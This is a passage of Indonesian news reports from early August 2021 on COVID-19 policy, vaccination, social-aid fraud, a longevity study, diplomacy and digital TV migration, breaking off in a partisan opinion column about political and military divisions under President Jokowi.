UMKM,” katanya. Penyelenggaraan program Securities Crowdfunding oleh OJK merupakan solusi untuk permasalahan akses terhadap modal. Uu menilai, kegiatan tersebut merupakan bentuk kepedulian OJK kepada para pengusaha kecil yang terkena dampak pandemi COVID-19. “Perhatian untuk UMKM sangat dibutuhkan dari OJK,” kata Uu. (sws)

LaNyalla: Gagasan Karantina di Awal Pandemi Ada Namun Terkendala Biaya

Jakarta, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti mengatakan gagasan untuk melakukan karantina total atau "lockdown" sudah ada pada awal pandemi COVID-19 terjadi namun terkendala besaran biaya hingga mencapai Rp400 triliun. "Bukan angka yang kecil. Meskipun sekarang pemerintah akhirnya telah mengeluarkan anggaran Rp1.000 triliun lebih," kata dia melalui keterangan tertulis yang diterima di Jakarta, Selasa. Saat itu, lanjut dia, kalkulasi Rp400 triliun untuk membiayai masyarakat atas kebijakan itu bukan persoalan gampang karena ada beberapa faktor ikutan yang harus dipastikan supaya kebijakan bisa berjalan maksimal. Faktor ikutan pertama yang dimaksud adalah harus ada dana langsung yang siap digelontorkan kepada rakyat yang terkena kebijakan karantina total. Hal tersebut sesuai Undang-Undang Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan. Pada Bab III Pasal 7 dan Pasal 8 menyebutkan pemerintah wajib menjamin dan memberikan pelayanan kebutuhan dasar medis, pangan, dan kebutuhan sehari-hari selama karantina termasuk kebutuhan pakan ternak milik warga. Kedua, terkait mekanisme menyalurkan anggaran Rp400 triliun secara cepat dalam hitungan hari sebelum karantina total dilakukan. Selain itu, harus dipastikan pula dana diterima oleh seluruh rakyat yang dikarantina. Penyaluran dana bukan pekerjaan mudah lantaran tidak semua rakyat memiliki akses dengan bank, apalagi akurasi database masyarakat sering menjadi persoalan di lapangan. "Keadaan Indonesia tidak sama dengan negara-negara yang memutuskan menerapkan lockdown pada saat awal pandemi," ujar dia. Sebagai contoh, saat Pemerintah Australia mengumumkan akan melakukan karantina total untuk penduduk di Kota Sydney. Seluruh warga di kota itu langsung menerima transfer dana untuk kebutuhan hidup selama seminggu yang setara Rp8 juta. LaNyalla menilai pemberian bantuan itu membuat warga Australia khususnya di Kota Sydney tertib berada di rumah dan tidak harus keluar rumah mencari nafkah. Terakhir, mantan Ketua Umum Persatuan Sepak Bola Seluruh Indonesia (PSSI) tersebut mengajak semua pihak menyatukan kekuatan bangsa dalam menghadapi pandemi COVID-19. "Mari kita bersatu membantu pemerintah melakukan penataan yang simultan antara kebutuhan mendesak dengan perbaikan fundamental sektor-sektor ketahanan yang strategis," ujarnya. (sws)

Ketua MPR Apresiasi Program Vaksinasi Merdeka

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo mengapresiasi kiprah Kapolda Metro Jaya Irjen (Pol) Fadil Imran beserta jajarannya yang telah meluncurkan program Vaksinasi Merdeka dalam rangka mempercepat proses vaksin COVID-19 di Indonesia. Dia menjelaskan, per-tanggal 2 Agustus 2021, DKI Jakarta telah melakukan vaksinasi dosis ke-1 terhadap 7.667.494 warga atau 92 persen warga, sementara vaksinasi dosis ke-2 sudah diberikan kepada 2.744.716 warga atau 31,1 persen warga. "DKI Jakarta berada di posisi teratas sebagai daerah dengan persentase terbesar dalam pemberian vaksin terhadap warganya, disusul Bali, Kepulauan Riau, dan Yogyakarta serta Jawa Timur. Capaian tersebut tidak lepas dari kerja keras seluruh pihak, termasuk Polda Metro Jaya melalui program Vaksinasi Merdeka," kata Bambang Soesatyo dalam keterangannya di Jakarta, Selasa. Hal itu dikatakan Bamsoet usai meninjau Sentra Vaksinasi Merdeka yang diselenggarakan Polda Metro Jaya bekerjasama dengan TDA Luxury Toys, Pengurus Pusat Ikatan Motor Indonesia (IMI) dan Warna Warni Media di Jakarta. Dia menilai Vaksinasi Merdeka memudahkan masyarakat DKI Jakarta mendapatkan vaksinasi COVID-19 (Astrazeneca) secara gratis yang bekerja sama dengan berbagai pihak sehingga ditargetkan melalui program tersebut yang diselenggarakan pada 1-17 Agustus 2021, bisa menyasar tiga juta vaksinasi bagi warga DKI Jakarta. Dia menjelaskan, sentra Vaksinasi Merdeka di TDA Luxury Toys dibuka selama dua hari pada 2-3 Agustus 2021, pada hari pertama, telah memberikan vaksinasi 300 warga, dan pada hari kedua ditargetkan memvaksinasi 400 warga. "Setelah divaksin, warga juga mendapatkan sembako untuk memenuhi kebutuhan hidup sehari-hari. Itu merupakan wujud konkret gotong royong kepedulian pelaku usaha swasta, khususnya di bidang otomotif dan 'entertainment' dalam mempercepat pelaksanaan vaksinasi COVID-19 terhadap berbagai kalangan warga," ujarnya. Bamsoet memaparkan berbagai fakta vaksin COVID-19 antara lain terjamin keamanan dan kehalalannya karena telah diuji klinis dan sesuai standar Organisasi Kesehatan Dunia (WHO) serta otoritas nasional (BPOM dan MUI). Selain itu menurut dia, vaksin juga dikembangkan dengan cepat berkat kerja sama global sehingga melalui vaksinasi bisa melatih sistem kekebalan tubuh seseorang melawan virus COVID-19. "Masyarakat tidak perlu takut untuk divaksinasi. Melalui vaksinasi, kita turut terlibat dalam bela negara memperjuangkan bangsa Indonesia keluar dari pandemi COVID-19," katanya. (sws)

Pebulutangkis Apriyani Mendapat Hadiah Rp 100 Juta dari Anggota Dewan

Kendari, FNN - Anggota DPR RI Hj Tina Nur Alam menyerahkan hadiah uang tunai sebesar Rp 100 juta kepada peraih medali emas Olimpiade Tokyo 2020 Apriyani Rahayu. Uang tersebut diterima Amiruddin, ayah Apriyani, di kediamannya Desa Lawulo, Kecamatan Anggaberi, Kabupaten Konawe, Provinsi Sulawesi Tenggara, Selasa, 3 Agustus 2021. "Ini hadiah Rp 100 juta sebagai apresiasi atas prestasi adinda Apriyani Rahayu merebut medali emas ganda putri pertama di ajang Olimpiade. Salam dari Pak Nur Alam," kata Hj. Tina Nur Alam seperti dikutip dari Antara. Sontak hadiah uang tunai yang diterima ayahanda Apriyani Rahayu disambut dengan ucapan syukur oleh keluarga dan kerabat yang turut menyaksikan momentum membahagiakan itu. Ayahanda Apriyani Rahayu, Amiruddin larut dalam suasana haru bahagia saat menerima hadiah yang diserahkan legislator Nasdem DPR RI tersebut. "Terima kasih, alhamdulillah. Salam kepada Pak Nur Alam. Semoga bapak Nur Alam dan Ibu senantiasa sehat, mudah rezeki dalam lindungan Allah Subhanahu Wa Ta'ala," kata Amiruddin dengan suara terbata-bata. Mantan Gubernur Sulawesi Tenggara dua periode (2008 - 2018) Nur Alam melalui pesan Whatsapp mengajak generasi muda menjadikan pasangan Greysia Polii/Apriyani Rahayu sebagai motivator dalam mengasah bakat olahraga. "Prestasi merebut medali emas yang disumbangkan Greysia Polii/Apriyani Rahayu untuk Bangsa Indonesia bukan hadiah dari pasangan ganda putri Tiongkok tetapi sebagaimana kita saksikan melalui perjuangan tidak kenal lelah di lapangan," kata Nur Alam yang juga Ketua KONI Sultra dua periode yang lalu. Sukses pasangan Greysia Polii/Apriyani Rahayu merebut medali emas Olimpiade di saat tim Merah Putih krisis medali emas patut menjadi kebanggaan masyarakat Indonesia. "Pasangan ganda putri terbaik Indonesia Greysia Polii/Apriyani Rahayu telah mengangkat harkat martabat bangsa di pentas olahraga dunia," ujar Nur Alam. (MD).

Hubungan Memanas, Amerika Usir 24 Diplomat Rusia

Moskow, FNN - Duta Besar Rusia untuk Amerika Serikat Anatoly Antonov mengatakan Washington telah meminta 24 diplomat Rusia untuk meninggalkan negara itu, paling lambat 3 September, setelah masa berlaku visa habis. Ia tidak menyebutkan apakan permintaan AS itu berkaitan dengan suatu sengketa tertentu. "Hampir semua dari mereka akan pergi tanpa ada pengganti karena Washington tiba-tiba memperketat prosedur pemberian visa," kata Antonov dalam wawancara dengan majalah National Interest, yang terbit pada Minggu (2/8). Pemerintah Rusia dan AS telah sekian lama berbeda pandangan soal berbagai masalah. Hubungan kedua negara juga semakin merosot setelah Presiden AS Joe Biden mengatakan, ia yakin Presiden Rusia Vladimir Putin adalah pembunuh. Ketegangan sempat menurun usai Biden bertemu dan melakukan pembicaraan dengan Putin pada 16 Juni 2021. Pertemuan tersebut bahkan mengarah pada kembalinya aliran dana dari sejumlah investor asing ke obligasi pemerintah Rusia. "Kami berharap akal sehat akan menang dan kita bisa memulihkan keberadaan diplomat Rusia serta Amerika di Amerika Serikat dan Rusia berdasarkan prinsip timbal balik," kata Antonov sebagaimana dikutip dari Antara. Dubes Rusia berharap, dialog yang dimulai baru-baru ini antara AS dan Rusia --soal masalah keamanan dunia maya-- akan berlanjut. "Sebagai pilihan, kita bisa berdebat menyangkut ancaman siber terhadap sistem pengendalian persenjataan, dan lain-lain." katanya. Sementara itu, Departemen Luar Negeri AS pada Senin (2/8) menyatakan penggambaran dubes Rusia itu soal 24 diplomat Rusia, terkait visa AS yang kedaluwarsa, tidak akurat. Juru bicara Deplu AS Ned Price saat konferensi pers mengatakan, para diplomat Rusia "bisa mengajukan permohonan perpanjangan" visa mereka dan "permohonan tersebut ditinjau berdasarkan kasus per kasus." (MD).

Dua Pelaku Pungutan Liar Bantuan Sosial Rp 3,5 Miliar Ditangkap Jaksa

Jakarta, FNN- Kejaksaan Negeri Tangerang, Banten, menangkap dua pelaku pungutan liar bantuan sosial (bansos) Program Keluarga Harapan (PKH) senilai Rp 3,5 miliar. Mereka beraksi di empat desa/kelurahan di Kecamatan Tiga Raksa. “Kami tetapkan dua tersangka, yaitu pendamping sosial yang mendampingi empat desa di Kecamatan Tiga Raksa,” ujar Kepala Kejaksaan Negeri Tangerang Bahrudin dalam konferensi pers bersama di Kantor Kementerian Sosial Jakarta, Selasa, 3 Agustus 2021. Menurut penyidikan yang dilakukan mulai 2018-2019, dua pendamping PKH berinisial TS dan DKA terbukti melakukan pungli uang bansos dari para keluarga penerima manfaat (KPM) senilai Rp 50.000-Rp 100.000 sehingga terkumpul sebesar Rp 3,5 miliar. Modusnya, kata dia, para pendamping meminta kartu ATM para KPM yang selanjutnya ditarik sendiri oleh mereka dan mengembalikan sisa uang yang dikutip kepada KPM. Bahrudin mengatakan, sekali melakukan pungli di empat desa, di Kecamatan Tiga Raksa, kedua pelaku mendapatkan uang sebesar Rp 800 juta. “Kalau dilihat selisih itu, ada yang dipungli Rp 50.000 dan Rp 100.000. Tetapi kalau dikalikan dengan keluarga penerima manfaat itu jumlahnya fantastis,” ujar Bahrudin sebagaimana dikutip dari Antara. Bahrudin mengatakan, pihaknya tidak akan segan-segan menindak tegas para penyeleweng bansos, terutama pada masa pandemi COVID-19. Sebab, masyarakat kurang mampu membutuhkan bansos itu . Ia mengharapkan pendamping bantuan sosial untuk PKH dapat bertanggung jawab dan bertugas sesuai dengan fungsinya. (MD).

Bakteri Usus Jadi Salah Satu Rahasia Sehat pada Lansia 100 Tahun

Jakarta, FNN - Umur panjang dan hidup sehat adalah impian banyak orang. Untuk mencapai impian tersebut, banyak orang mulai menerapkan hidup sehat. Namun, sebuah penelitian baru-baru ini mengungkap bahwa ada alasan lain yang menyebabkan seseorang dapat berumur panjang hingga 100 tahun lebih. Penelitian yang dilakukan di Jepang itu menyebutkan, orang yang hidup sampai usia 100 tahun atau lebih, rata-rata memiliki bakteri usus dengan ciri khas tersendiri yang rupanya dapat membantu menangkal infeksi. Hasil penelitian menunjukkan, bakteri tersebut menghasilkan senyawa spesifik yang dikenal sebagai "asam empedu sekunder". Senyawa itu dapat berkontribusi pada usus yang sehat sehingga proses penuaan terjadi secara sehat. Meskipun demikian, para peneliti mengatakan masih banyak penelitian yang harus dilakukan untuk mengetahui apakah bakteri ini mampu meningkatkan rentang hidup dengan sangat panjang. Penelitian yang dipublikasi dalam jurnal Nature pada pekan lalu itu hanya menunjukkan hubungan antara bakteri usus tersebut dan usia hidup yang melewati 100 tahun. "Namun, para peneliti belum bisa membuktikan bahwa bakteri inilah yang menyebabkan orang dapat hidup dengan lebih lama dan sehat," kata penulis penelitian Dr. Kenya Honda yang merupakan seorang profesor di Departemen Mikrobiologi dan Imunologi di Keio University School of Medicine, di Tokyo. "Meskipun mungkin menunjukkan bakteri penghasil asam empedu itu dapat berkontribusi pada rentang hidup yang lebih lama, kami tidak memiliki data yang menunjukkan hubungan sebab-akibat di antara mereka," kata Honda kepada Live Science. Komunitas bakteri dan mikroorganisme lain yang hidup di usus, yang dikenal sebagai mikrobioma usus, diketahui berperan dalam kesehatan manusia dan berubah seiring bertambahnya usia. Sebagai contoh, ragam jenis bakteri usus pada orang dewasa dikaitkan dengan lemahnya imunitas. Namun, para peneliti menduga, orang yang mencapai usia 100 tahun mungkin memiliki bakteri usus dengan ciri khusus yang berkontribusi pada kesehatan yang baik. Dalam hal ini para peneliti mencatat, lansia yang mencapai usia 100 tahun bahkan lebih, cenderung memiliki risiko yang lebih rendah untuk terkena penyakit kronis dan infeksi. Artinya, lansia berusia panjang ini cenderung mengalami penuaan secara sehat. Sebagaimana dikutip dari Antara, dalam studi baru itu, para peneliti memeriksa mikrobiota usus dari 160 centenarian yang rata-rata berusia 107 tahun. Mereka membandingkan mikrobiota usus dari 112 orang centenarian yang berusia 85 hingga 89 tahun, dan 47 orang berusia 21 hingga 55 tahun. Mereka menemukan, centenarian usia di atas 100 tahun itu memiliki "tanda" yang berbeda dari mikroba usus yang tidak terlihat pada dua kelompok usia lainnya. Misalnya, spesies bakteri tertentu diperkaya atau habis pada usia seratus tahun dibandingkan dengan dua kelompok lainnya. Para peneliti kemudian menganalisis metabolit usus (produk metabolisme) di ketiga kelompok. Hasilnya, mereka menemukan orang berusia seratus tahun memiliki tingkat asam empedu sekunder yang secara signifikan lebih tinggi dibandingkan dengan dua kelompok lainnya. Empedu adalah cairan kuning-hijau yang dibuat oleh hati dan disimpan di kantong empedu. Asam empedu sendiri adalah senyawa dalam empedu yang membantu pencernaan, terutama lemak. Setelah hati memproduksi asam empedu, mereka dilepaskan ke usus, di mana bakteri secara kimiawi mengubahnya menjadi asam empedu sekunder. Pada kelompok berusia lebih dari 100 tahun, para peneliti menemukan asam empedu sekunder berjenis isoallolithocholic (isalloLCA) dengan tingkat yang sangat tinggi. Para peneliti menuliskan untuk mengetahui bakteri penghasil isoalloLCA, mereka melakukan upaya dengan cara mengidentifikasi jalurnya. Para peneliti menyaring strain bakteri usus dari seorang berusia 110 tahun yang memiliki tingkat asam empedu sekunder yang sangat tinggi dan menemukan bahwa bakteri dari jenus Odoribacteraceae menghasilkan isoalloLCA. Terlebih lagi, isoalloLCA ditemukan memiliki sifat antimikroba yang kuat, yang berarti dapat menghambat pertumbuhan bakteri "jahat" di usus. Dalam percobaan di piring laboratorium dan pada tikus, para peneliti menemukan, isoalloLCA memperlambat pertumbuhan Clostridium difficile, bakteri yang menyebabkan diare parah dan radang usus besar. IsoalloLCA juga menghambat pertumbuhan enterococci resisten vankomisin, sejenis bakteri resisten antibiotik yang diketahui menyebabkan infeksi di rumah sakit. Temuan menunjukkan bahwa isoalloLCA dapat berkontribusi pada usus yang sehat dengan mencegah pertumbuhan bakteri jahat. "Tampaknya bakteri ini atau asam empedunya dapat mengobati atau mencegah infeksi C. difficile pada manusia," kata Honda. Masih dibutuhkan penelitan lanjutan guna membuktikan hal tersebut. "Jika bakteri penghasil asam empedu tersebut berkontribusi pada usus yang sehat, mereka mungkin suatu hari nanti jenis bakteri itu bisa digunakan sebagai probiotik untuk meningkatkan kesehatan manusia," kata Honda. Dia mencatat, bakteri itu tampak aman, karena tidak menghasilkan racun atau menyimpan gen resisten antibiotik. Tidak jelas bagaimana para centenarian bisa mendapatkan bakteri menguntungkan itu. Akan tetapi, genetika dan pola makan tertentu dapat berperan dalam membentuk komposisi mikrobiota usus manusia. "Studi tersebut tidak mengumpulkan informasi tentang diet peserta, kebiasaan olahraga atau penggunaan obat-obatan. Padahal, semua dapat mempengaruhi mikrobiota usus dan membantu menjelaskan hubungan tersebut," kata para penulis. (MD).

Soerjadi Soedirdja Wafat

Jakarta, FNN - Mantan Menteri Dalam Negeri sekaligus mantan Gubernur DKI Jakarta, Jenderal TNI (Hor) (Purnawirawan) Soerjadi Soedirdja, wafat di Jakarta, Selasa 3 Agustus 2021. Kabar duka diterima ANTARA melalui pesan tertulis atas nama istri almarhum Sri Soemarsih. Soerjadi wafat di RS Mayapada Jakarta sekitar pukul 10.35 WIB, dikarenakan sakit. Jenazah almarhum disemayamkan di rumah duka, Jalan MPR 2 Nomor 8 A Gaharu, Cilandak Barat, Jakarta Selatan. Soerjadi lahir di Batavia (Jakarta), 11 Oktober 1939. Ia merupakan menteri dalam negeri dan otonomi daerah era kepemimpiman Presiden Abdurrahman Wahid pada 1999 sampai 2001. Soerjadi pernah menjabat menteri koordinator bidang politik, sosial dan keamanan pada 2000, yang diemban hanya beberapa bulan. Selain itu, dia pernah menjadi gubernur ke-10 DKI Jakarta Raya, periode 1992 hingga 1997 pada masa pemerintahan Presiden Soeharto. Bahkan, sejak Soerjadi sakit sejak 2017 lalu, mantan Wakil Gubernur DKI Jakarta Raya, Sandiaga Uno, menyempatkan diri menjeguk. Kala itu, Sandiaga menyatakan sosok Soerjadi sangat penting dalam perkembangan Jakarta. Pada saat memimpin DKI Jakarta Raya, bersama pemerintah pusat dia juga menginisiasi jaringan subway yang terbangun pada periode-periode kepemimpinan gubernur sesudahnya. Ia juga memulai pembangunan jejaring jalan tol dalam kota dan luar kota mengelilingi DKI Jakarta yang tetap berfungsi baik hingga kini. (mth)

Syarat Perjalanan Transportasi Mulai 3-9 Agustus 2021 Tidak Berubah

Jakarta, FNN - Kementerian Perhubungan (Kemenhub) menegaskan aturan tentang syarat perjalanan transportasi di wilayah dengan PPKM level 1-4 yang dimulai pada 3-9 Agustus 2021 sesuai Instruksi Mendagri Nomor 27, 28 dan 29 Tahun 2021 tidak berubah. Aturan mengenai syarat perjalanan transportasi masih merujuk pada Surat Edaran Satgas Penanganan Covid-19 Nomor 16 Tahun 2021 Tentang Ketentuan Perjalanan Orang Dalam Negeri Pada Masa Pandemi Covid-19 yang terbit pada 26 Juli 2021. “Syarat perjalanan transportasi sesuai SE Satgas bertujuan tetap membatasi aktivitas masyarakat untuk menekan laju peningkatan kasus COVID-19 di Indonesia,” kata Juru Bicara Kementerian Perhubungan Adita Irawati dalam keterangan tertulis, Selasa. Adita mengatakan, menindaklanjuti terbitnya SE Satgas No.16 Tahun 2021, Kemenhub telah menerbitkan 4 (empat) Surat Edaran tentang Petunjuk Pelaksanaan Perjalanan Orang Dalam Negeri Dengan Transportasi Darat (SE 56 Tahun 2021) Udara (SE 57 Tahun 2021), Perkeretaapian (SE 58 Tahun 2021) dan Laut (SE 59 Tahun 2021) pada masa pandemi Covid-19. “Keempat SE Kemenhub masih berlaku hingga 9 Agustus 2021,” kata Adita. Adapun secara umum ketentuan yang diatur dalam SE Satgas No.16 Tahun 2021 yang ditindaklanjuti dengan 4 (empat) SE Kemenhub, yakni sebagai berikut : 1. Pembagian wilayah disesuaikan dengan Instruksi Mendagri No 24,25 dan 26 tahun 2021 dimana terdapat kategori PPKM berdasarkan Level 1,2,3 dan 4. 2. Perjalanan orang dalam negeri antar kota / jarak jauh harus memenuhi syarat berupa : Untuk kategori PPKM Level 4 dan 3 : a) Untuk moda transportasi udara wajib menunjukkan kartu vaksin (minimal vaksinasi dosis pertama) dan surat keterangan hasil negatif tes RT- PCR yang sampelnya diambil dalam kurun waktu maksimal 2 x 24 jam sebelum keberangkatan sebagai persyaratan perjalanan; b) Untuk moda transportasi laut, darat (menggunakan kendaraan pribadi atau umum), penyeberangan dan kereta api antarkota wajib menunjukan kartu vaksin (minimal vaksinasi dosis pertama) dan surat keterangan hasil negatif tes RT-PCR yang sampelnya diambil dalam kurun waktu maksimal 2 x 24 jam atau hasil negatif rapid test antigen yang sampelnya diambil dalam kurun waktu maksimal 1 x 24 jam sebelum keberangkatan sebagai persyaratan perjalanan; Untuk kategori PPKM Level 2 dan 1 : a) Untuk moda transportasi udara wajib menunjukan hasil negatif RT-PCR atau hasil negatif rapid test antigen yang sampelnya diambil dalam kurun waktu maksimal 2 x 24 jam sebelum keberangkatan sebagai persyaratan perjalanan; b) Untuk moda transportasi laut, darat (menggunakan kendaraan pribadi atau umum), penyeberangan dan kereta api antarkota wajib menunjukan hasil negatif tes RT-PCR yang sampelnya diambil dalam kurun waktu maksimal 2 x 24 jam atau hasil negatif rapid test antigen yang sampelnya diambil dalam kurun waktu maksimal 1 x 24 jam sebelum keberangkatan sebagai persyaratan perjalanan. 3. Khusus perjalanan rutin dengan moda transportasi darat menggunakan kendaraan pribadi atau umum, dan kereta api dalam satu wilayah/kawasan aglomerasi perkotaan tidak diwajibkan membawa hasil negatif RT PCR atau rapid antigen namun diwajibkan untuk menunjukkan STRP atau surat keterangan perjalanan lainnya. 4. Ketentuan menunjukkan kartu vaksin (minimal vaksinasi dosis pertama) dikecualikan bagi pelaku perjalanan kendaraan logistik dan transportasi barang lainnya. 5. Pelaku perjalanan orang dengan usia dibawah 12 tahun dibatasi untuk sementara. “Selain berisi ketentuan mengenai syarat perjalanan transportasi baik itu jarak jauh/antarkota maupun di kawasan aglomerasi, keempat SE Kemenhub tersebut juga mengatur pembatasan kapasitas penumpang, dan pemberlakuan jam operasional, proses pengembalian (refund) tiket, dan pengawasan serta pengendalian di lapangan,” terang Adita. Terkait dengan pengaturan pembatasan kapasitas di daerah kategori level 4, untuk moda transportasi darat, bagi kendaraan bermotor umum dan kendaraan bermotor perseorangan berupa mobil penumpang maksimal kapasitas 50 persen dari jumlah kapasitas tempat duduk. Sementara di daerah di luar kategori level 4, maksimal kapasitas adalah 70 persen dari jumlah kapasitas tempat duduk. Sedangkan untuk angkutan sungai, danau, dan penyeberangan dilakukan pembatasan jumlah penumpang paling banyak 50 persen dari jumlah kapasitas angkut penumpang kapal. Pada moda transportasi udara, untuk pesawat udara kategori jet transport narrow body dan wide body yang digunakan untuk kegiatan angkutan udara niaga berjadwal dalam negeri, sesuai dengan konfigurasi tempat duduk dan pengaturan kursi penumpang berdasarkan karakteristik penumpang, maksimal 70 persen kapasitas angkut. Untuk moda transportasi perkeretaapian, pengaturan kapasitas angkut penumpang (load factor) untuk kereta api antarkota maksimum 70 persen, dan pengaturan kapasitas angkut penumpang (load factor) untuk perjalanan rutin atau komuter dalam wilayah atau kawasan aglomerasi maksimum 32 persen untuk Kereta Rel Listrik (KRL) dan maksimum 50 persen untuk Kereta Api Lokal Perkotaan. Terakhir, untuk moda transportasi laut, pemenuhan pembatasan kapasitas penumpang paling banyak kapasitas 50 persen dari kapasitas total di kapal, pada wilayah kategori level 4. Sebelumnya, pada Senin kemarin (2/8), Presiden RI Joko Widodo telah mengumumkan untuk melanjutkan penerapan PPKM level 4 dari tanggal 3 sampai dengan 9 Agustus 2021 di beberapa kabupaten, kota tertentu dengan penyesuaian pengaturan aktivitas dan mobilitas masyarakat sesuai kondisi masing-masing daerah. (mth)

Korea Selatan Deteksi Dua Kasus Pertama COVID Varian Delta Plus

Seoul, FNN - Korea Selatan telah mendeteksi dua kasus pertama COVID-19 varian baru Delta Plus, kata Badan Pengendalian dan Pencegahan Penyakit Korea (KDCA) pada Selasa. Korsel sedang berjuang menahan gelombang keempat infeksi virus corona secara nasional. Varian Delta Plus adalah subgaris keturunan dari varian Delta yang pertama kali diidentifikasi di India, dan telah memperoleh mutasi protein lonjakan yang disebut K417N, yang juga ditemukan dalam varian Beta yang pertama kali diidentifikasi di Afrika Selatan. Laporan kasus COVID varian Delta Plus sejauh ini sedikit, dan beberapa negara, termasuk Inggris, Portugal dan India, telah melaporkan beberapa kasus varian tersebut. "Kasus pertama (di Korea Selatan) diidentifikasi pada seorang pria berusia 40-an yang tidak memiliki catatan perjalanan baru-baru ini," kata KDCA kepada Reuters melalui pesan teks. Hasil tes pada orang-orang yang pernah melakukan kontak dengan pria tersebut menunjukkan bahwa salah satu anggota keluarganya dinyatakan positif, namun KDCA tidak mengonfirmasi bahwa pasien tersebut terinfeksi Delta Plus. "Kasus kedua ditemukan pada pelancong luar negeri," kata KDCA. Otoritas kesehatan mengatakan beberapa vaksin utama berfungsi melawan varian Delta, yang sangat menular dan telah menjadi dominan di banyak negara. Namun, otoritas kesehatan Korsel juga telah mengutarakan kekhawatiran bahwa galur-galur baru bisa kebal terhadap beberapa vaksin. Beberapa ilmuwan mengatakan varian Delta Plus mungkin lebih menular. Beberapa penelitian sedang berlangsung di India dan secara global untuk menguji efektivitas vaksin terhadap varian tersebut. Korea Selatan melaporkan 1.202 kasus tambahan COVID-19 pada Senin (2/8) sehingga total kasus menjadi 202.203, dengan 2.104 korban jiwa. Negara itu pada Selasa menyatakan telah memberi setidaknya satu dosis vaksin pada 20 juta orang, atau 39 persen dari populasinya, sementara 14,1 persen dari populasi telah divaksin sepenuhnya. Korea Selatan menginginkan setidaknya 36 juta orang pada September sudah diimunisasi. (mth)

Kominfo Siapkan Distribusi Set Top Box

Jakarta, FNN - Kementerian Komunikasi dan Informatika saat ini masih mempersiapkan koordinasi dan mekanisme distribusi set top box menjelang siaran televisi teresterial digital di sejumlah wilayah di Indonesia. "Persiapan, mekanisme dan koordinasi distribusi set top box dengan pihak terkait masih terus dimatangkan," kata Direktur Pengembangan Pitalebar, Direktorat Jenderal Penyelenggaraan Pos dan Informatika, Kominfo, Marvels Situmorang, kepada ANTARA, Selasa. Menurut Marvels, rencana distribusi set top box ini mungkin akan terpengaruh dengan kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat atau PPKM tingkat 4, yang diperpanjang hingga 9 Agustus nanti. Set top box merupakan perangkat yang dipasang di televisi analog agar bisa menangkap siaran televisi digital. Perangkat ini bisa dipasang jika masyarakat belum memiliki televisi yang bisa menangkap siaran digital. Menurut kementerian, terdapat tiga cara distribusi set top box yaitu disalurkan di lokasi tertentu sesuai kesepakatan (misalnya di Kantor Pos), diantar langsung ke rumah penerima bantuan dan oleh penyelenggara multipleksing di luar cara-cara tersebut. Set top box subsidi akan diberikan kepada rumah tangga miskin yang memiliki televisi. Subsidi tersebut akan diberikan kepada rumah tangga miskin yang tercantum, termasuk, namun, tidak terbatas pada Data Terpadu Kesejahteraan Sosial (DTKS) dari Kementerian Sosial. Perangkat set top box subsidi berasal dari komitmen penyelenggara multipleksing siaran televisi teresterial digital, sesuai dengan wilayah siaran, dan pemerintah jika jumlah set top box tersebut tidak mencukupi. Perangkat ini akan didistribusikan secara bertahap, sesuai dengan tahapan analog switch off di Indonesia. ASO tahap I akan berlangsung paling lambat hingga 17 Agustus nanti, yaitu untuk wilayah siaran Aceh 1, Kepulauan Riau 1, Banten 1, Kalimantan Timur 1, Kalimantan Utara 1 dan Kalimantaran Utara 3. Setelah 17 Agustus, wilayah-wilayah tersebut hanya akan menerima siaran televisi teresterial digital. Untuk wilayah ASO tahap I, terdapat 90.695 jiwa penerima bantuan dengan rincian wilayah siaran Aceh 1 17.046, Banten 1 14.544, Kalimantan Timur 1 29.368, Kalimantan Utara 1 6.818, Kalimantan Utara 3 4.646 dan Kepulauan Riau 1 18.273. Pemerintah menaksir ada sekitar 27 juta jiwa keluarga miskin, dengan penghitungan satu keluarga memiliki empat orang anggota, maka diperlukan 6,5 hingga 7 juta unit set top box untuk subsidi. Sementara bagi masyarakat yang memiliki daya beli, dianjurkan membeli set top box yang mengantongi sertifikasi dari Kominfo. (mth)

Vaksin Nusantara Bisa Mempersatukan Tentara

DI era Joko Widodo sebagai presiden, hampir semua kelompok masyarakat pecah. Ormas, komunitas, organisasi keagamaan, organisasi profesi, ikatan alumni, polisi, dan tentara, terbelah. Semua pecah, minimal jadi dua. Pecahan ini mengkristal menjadi kekuatan yang solid pada masing-masing kelompok. Saat Pilpres 2019, ada kelompok cebong sebagai pendukung Jokowi- Maruf dan kelompok kampret yang menjadi pendukung Prabowo-Sandi. Pasca Pilpres petinggi cebong dan petinggi kampret sudah bersekutu, menyatu dalam kedudukan empuk. Persekutuan ini tidak serta- merta meredakan perselisihan. Mereka mencari musuh baru agar ada lawan berkelahi, meski hanya di media sosial (medsos), juga agar ada pekerjaan. Mereka ciptakan musuh baru itu bernama Kadrun atau kadal gurun. Siapa pun yang mengkritisi menyatunya cebong dan kampret, langsung dilabeli Kadrun. Kelak, tidak hanya mengkritisi persetubuhan cebong-kampret yang dihardik, orang yang tak pernah terlibat politik pun mereka musuhi. Siapa pun yang berani mengkritik penguasa, cap Kadrun langsung disematkan pada orang itu. Tidak peduli ia guru, dosen, pemikir, pengusaha, ulama, kiai kampung, habib, ajengan, marbot masjid maupun bilal. Lengkap dengan sumpah serapah ala buzzer. Pengkadrunan terhadap yang berbeda oleh aliansi cebong-kampret tidak membuat para Kadrun berkecil hati. Jumlah Kadrun justru semakin banyak. Simpati dan dukungan terhadap pihak yang dicap Kadrun terus mengalir. Apalah artinya istilah. Sebab, para Kadrun inilah sesungguhnya para pecinta NKRI (Negara Kesatuan Republik Indonesia) penjaga Pancasila, dan penjunjung tinggi akidah. Perpecahan di tubuh TNI (Tentara Nasional Indonesia) tidak kalah mengerikan. Tidak peduli jenderal, kapten maupun kopral. Siapa pun yang berani mengkritisi rezim langsung dicap Kadrun, dimusuhi, bahkan dipenjarakan. Mereka seakan tidak kenal balas budi, etika, adat, dan adab. Orang senasionalis Gatot Nurmantyo pun bisa mereka musuhi. Orang seloyal Kivlan Zen pun bisa mereka jebloskan ke penjara. Banyak TNI aktif maupun purnawirawan dicap Kadrun karena keberpihakannya pada perjuangan Islam dan keutuhan NKRI. Ada Ruslan Buton, Sugengwaras, Mayor Muhammad Saleh, dan banyak lagi. Di kalangan militer, tampaknya berlaku kembali cap TNI Hijau dan TNI Merah jaman dulu. Kini TNI Merah adalah mereka yang sedang merapat ke kekuasaan, sedangkan TNI Hijau adalah mereka yang tersingkir atau disingkirkan karena ketahuan bersimpati pada Kadrun. Tampaknya, perpecahan TNI bakal 